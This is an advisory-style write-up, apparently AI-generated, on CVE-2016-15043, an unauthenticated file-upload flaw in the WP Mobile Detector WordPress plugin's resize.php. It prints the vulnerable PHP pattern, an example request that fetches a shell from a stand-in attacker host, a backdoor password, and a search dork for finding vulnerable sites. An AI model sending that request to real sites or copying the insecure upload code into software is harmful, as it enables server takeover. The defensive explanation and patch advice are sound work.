How a Single Line in WP Mobile Detector (CVE-2016-15043) Opened the Door to Remote Code Execution

When a single unchecked parameter can hand attackers the keys to your website, the consequences are immediate and devastating. In mid-2016, thousands of WordPress sites running the popular WP Mobile Detector plugin (versions up to 3.5) were compromised in a wave of attacks that leveraged a critical file upload vulnerability—CVE-2016-15043. This flaw, trivial to exploit and widely targeted, allowed unauthenticated attackers to upload and execute arbitrary PHP files, resulting in full remote code execution (RCE) on affected servers.

What is WP Mobile Detector?

WP Mobile Detector, created by Brian McKenna, was a WordPress plugin designed to detect mobile devices and serve optimized themes. With over 10,000 active installations at its peak, it was a staple for site owners seeking better mobile compatibility without heavy custom development. Its popularity, however, made it a prime target for attackers seeking mass exploitation opportunities.

Technical Information

Vulnerability Mechanism

The heart of CVE-2016-15043 lies in the resize.php script, which was responsible for handling image resizing requests. The script accepted a src parameter, intended to specify the source image. Critically, it failed to validate the file type or restrict the source to images, allowing attackers to supply any URL—including those hosting malicious PHP files.

The vulnerable code pattern looked like this:

if (isset($_REQUEST['src'])) { 
  $path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']); 
  file_put_contents($path, file_get_contents($_REQUEST['src']));
}

This code does two things:

Takes the src parameter from the request (no authentication required).
Uses file_get_contents() to fetch the remote file, and file_put_contents() to save it to the plugin's cache directory (wp-content/plugins/wp-mobile-detector/cache/).

If the server's PHP configuration had allow_url_fopen enabled (the default in many environments), this allowed any file—regardless of type or extension—to be fetched and written to disk. There were no checks on file extension, MIME type, or content. As a result, an attacker could upload a PHP shell or any other executable script to the web-accessible cache directory.

Attack Vectors and Exploitation Methods

Attackers exploited this flaw by sending a crafted HTTP request to resize.php, specifying a src parameter that pointed to a malicious file under their control. For example:

GET /wp-content/plugins/wp-mobile-detector/resize.php?src=http://attacker.com/shell.php

This would result in shell.php being saved to the cache directory. The attacker could then access the uploaded file directly via the web, executing arbitrary PHP code on the server. Sucuri and others observed attackers uploading files like css.php and accessing them with hardcoded passwords (e.g., pass=dinamit), using these backdoors to deploy spam, malware, or further compromise the site.

Mass exploitation was facilitated by automated tools and Google Dorks (e.g., inurl:/wp-content/plugins/wp-mobile-detector/resize.php) to identify vulnerable sites. The attack required no authentication and was effective as long as the vulnerable plugin version and allow_url_fopen were present.

Root Cause

The root cause was a lack of input validation and insecure use of PHP's file handling functions. The code did not check that the src parameter pointed to a legitimate image, nor did it restrict the file extension or content type. Combined with a world-writable cache directory and executable permissions, this created a perfect storm for arbitrary file upload and execution.

Affected Systems and Versions

Product: WP Mobile Detector plugin for WordPress
Affected Versions: Up to and including 3.5
Vulnerable Configuration: Servers with allow_url_fopen enabled (default in many PHP environments)
Patched Version: 3.6 and above

Vendor Security History

WP Mobile Detector had no widely reported critical vulnerabilities prior to CVE-2016-15043. The incident, however, exposed gaps in the vendor's security maturity. The vulnerability was exploited in the wild before public disclosure, and the initial patch (version 3.6) was incomplete, requiring further updates. The plugin was temporarily removed from the WordPress repository, and the vendor's changelog communications were minimal, complicating user awareness and response. Third-party security firms (Sucuri, Wordfence, Plugin Vulnerabilities) played a key role in alerting the community and providing mitigation guidance.

References

Key Takeaway: If you run WordPress and ever used WP Mobile Detector, ensure you're running version 3.6 or later—or, better yet, remove the plugin entirely if it's no longer needed. Always audit your plugins for insecure file handling, and keep a close eye on server configurations like allow_url_fopen that can turn minor mistakes into catastrophic breaches.

Source: This report was created using AI

If you have suggestions for improvement or feedback, please reach out to us at [email protected]